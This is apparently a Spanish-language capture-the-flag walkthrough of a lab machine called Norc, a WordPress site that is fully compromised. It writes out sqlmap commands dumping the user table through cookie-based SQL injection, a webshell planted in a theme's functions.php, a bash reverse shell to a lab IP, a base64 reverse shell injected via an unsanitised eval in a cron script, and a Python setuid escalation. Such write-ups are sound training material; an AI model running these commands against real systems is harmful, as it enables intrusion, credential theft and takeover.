Norc (like)
Realizamos un escaneo de la dirección IP y podemos observar que tenemos 2 puertos.

Entramos a ver la página:

Al usar BurpSuit se pudo observar:
Revisando el código observamos que tiene elementos de WordPress, así que de manera manual ingresamos
wp-admin
y podemos observar el siguiente URL

Ingresamos una credencial por defecto y podemos ver que no dice que nos faltan 2 intentos, así que dejamos de probar credenciales.

Realizamos un fuzzing con el diccionario de WordPress podemos observar más resultados.
wfuzz -c --hc=404 -t 200 --hw=0 -w /home/las/Descargas/Wordpress-BruteForce-List/WPfuzz.txt http://norc.labs/FUZZ

Al dirigirnos a la dirección web:
http://norc.labs/wp-content/plugins/wp-fastest-cache/readme.txt

Buscando un exploit para esta versión podemos observar que hay una POC la cual solo debemos copiar el ejemplo y de esta manera obtenemos unas credenciales.

Ejecutamos de esta manera y agregamos el parámetro --dump
sqlmap --dbms=mysql -u "http://norc.labs/wp-login.php" --cookie='wordpress_logged_in=*' --level=2 --schema --dump
Luego de unos minutos podemos observar lo siguiente.
El mensaje que has compartido indica que sqlmap ha detectado con éxito una vulnerabilidad de inyección SQL de tipo time-based blind en el parámetro de cookie wordpress_logged_in
.

Nos interesa la DB de wordpress
y para evitar que demore cancelamos la consulta y volvemos a ejecutar la consulta, pero agregamos el nombre de la base de datos.
Si no conociéramos cuáles son las tablas que conforman una base de datos de WordPress sería agregar el comando -D wordpress
y esperar a que liste las tablas. Pero podemos insertar la tabla wp_users
que forma parte de esta.
Para más información sobre ello visitar tablas WordPress.
Agregamos el nombre de la tabla que nos interesa wp-users
, también ingresamos --batch
para que sqlmap asuma la respuesta por defecto.

Le agregamos la tabla wp_users a la inyección SQL
sqlmap --dbms=mysql -u "http://norc.labs/wp-login.php" --cookie='wordpress_logged_in=*' --level=2 -D wordpress -T wp_users --dump --batch
Esperamos unos minutos y podemos observar que obtuvimos unas credenciales.

pass:$P$BeNShJ/iBpuokTEP2/94.sLS8ejRo6.
email:admin@oledockers.norc.labs
userlogin:admin
Como el password está encriptado tratamos de romperlo usando John, pero no nos da un resultado.
Dejamos que cargue el john:

Revisando la información que obtuvimos debemos notar que el email contiene un subdominio el cual agregamos a nuestro host.
172.17.0.2 oledockers.norc.labs
Luego de agregarlo nos dirigimos a la dirección desde el navegador y podemos observar un usuario y un password.

admin:wWZvgxRz3jMBQ ZN
Iniciamos sesión:

Ya estamos dentro.

Como siempre hacemos cuando ingresamos WordPress probaremos agregando una webshell en el archivo functions.php
del tema twenty twenty-two
y guardamos los cambios.

Ahora para acceder a esta webshell usamos la siguiente dirección que contiene la ubicación del archivo y si agregamos el parámetro podemos ver que se ejecuta el comando id
.
http://norc.labs/wp-content/themes/twentytwentytwo/functions.php?cmd=id

Ya que podemos ejecutar comandos estableceremos una shell. Para ello iniciaremos nuestro listener con nc
.
Deberemos establecer nuestra consulta.
bash -c \ "bash -i >& /dev/tcp/172.17.0.1/1234 0>&1\ "'
Para evitar problemas con los símbolos lo URL-encodeamos.
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F1234%200%3E%261%22
Y enviamos, el URL debería ser así.
http://norc.labs/wp-content/themes/twentytwentytwo/functions.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F1234%200%3E%261%22
Al momento de enviar en nuestro listener ya deberíamos poder ver que se estableció conexión.

Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos.
Tratamiento de la TTYRealizamos un sudo -l
y podemos observar que no tenemos el comando sudo
, realizamos un listado de permisos SUID y podemos observar el archivo exim4
.

Pero revisando las versiones vulnerables que nos pueden servir son las menores a la versión 4.86.2
y nuestra versión es la 4.96
.

Ya que no podemos explotar este permiso SUID, listaremos capabilities y podemos observar que tenemos la de Python3.
getcap -r / 2>/dev/null

Porque se trata de una capabilitie
también podemos ir a la página GTFOBins y buscar la capabilitie
para Python y podremos observar lo siguiente.

import os
# Cambiar el ID de usuario efectivo a 0 (root)
os.setuid(0)
# Iniciar una shell con privilegios elevados
os.system("/bin/bash")
Tratamos de ejecutar el comando, pero vemos que no podemos *Por que no somos un usuario en concreto aun somos www-data
*.

Pivotear a un usuario kvzlx
:

Revisando el script podemos observar que decodifica un password y lo guarda en una carpeta temporal y que eval
no sanitiza el texto que lee.

Nos dirigimos a la carpeta /tmp
para observar el archivo, pero este se encuentra vacío y si vamos a la carpeta www/html
para observar el otro archivo oculto este no existe.

Empleamos ps aux
para ver si se ejecuta el script, pero no podemos ver por nuestros permisos.

Ya que no podemos usaremos pspy64
, para ello descargamos pspy64
e iniciamos un servidor con Python.
🔍 ¿Qué es pspy64
?
pspy64
?Es una utilidad escrita en Go que permite monitorear procesos en ejecución en tiempo real, enfocándose en ejecutables iniciados por otros usuarios o por cron jobs, sin necesidad de privilegios root.
🧠 ¿Para qué sirve?
Ver cron jobs ejecutados por root u otros usuarios.
Detectar scripts o binarios ejecutados automáticamente (posible vector de escalada).
Observar cuándo se ejecutan comandos como
cp
,tar
,python
, etc., y qué usuario los ejecuta.Ideal cuando no tienes acceso al crontab del root o a
/etc/cron.*
.
🖥️ ¿Qué significa pspy64
?
pspy64
?pspy
= Process Spy64
= Versión para arquitecturas x86_64 (64 bits)
⚙️ ¿Cómo usarlo?
En tu máquina atacante:
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 chmod +x pspy64 python3 -m http.server 8080
En la máquina víctima (Kali o una máquina comprometida):
wget http://<TU-IP>:8080/pspy64 chmod +x pspy64 ./pspy64

Luego de unos segundos podemos observar que el archivo .cron_
script.sh
se ejecuta frecuentemente.

Como el script no sanitiza cuando ejecuta el comando eval
podemos abusar de este y obtener un Shell.
Como el usuario kvzlx pide un archivo .txt

Crearemos ese archivo y agregaremos nuestra RevShell ya que se ejecutara solito sin necesidad de ejecutar algo mas:
nano .wp-encrypted.txt
Nuestra Shell en base 64:

Estamos en la escucha:

Ya somo el usuario Kvzlx
😄
Nuevamente realizamos el tratamiento de la TTY.
Como ya creamos el archivo en tmp
solo lo ejecutaremos.

Ejecutamos el archivo y podemos observar que ya somos root. De esta manera culminando esta máquina.
Last updated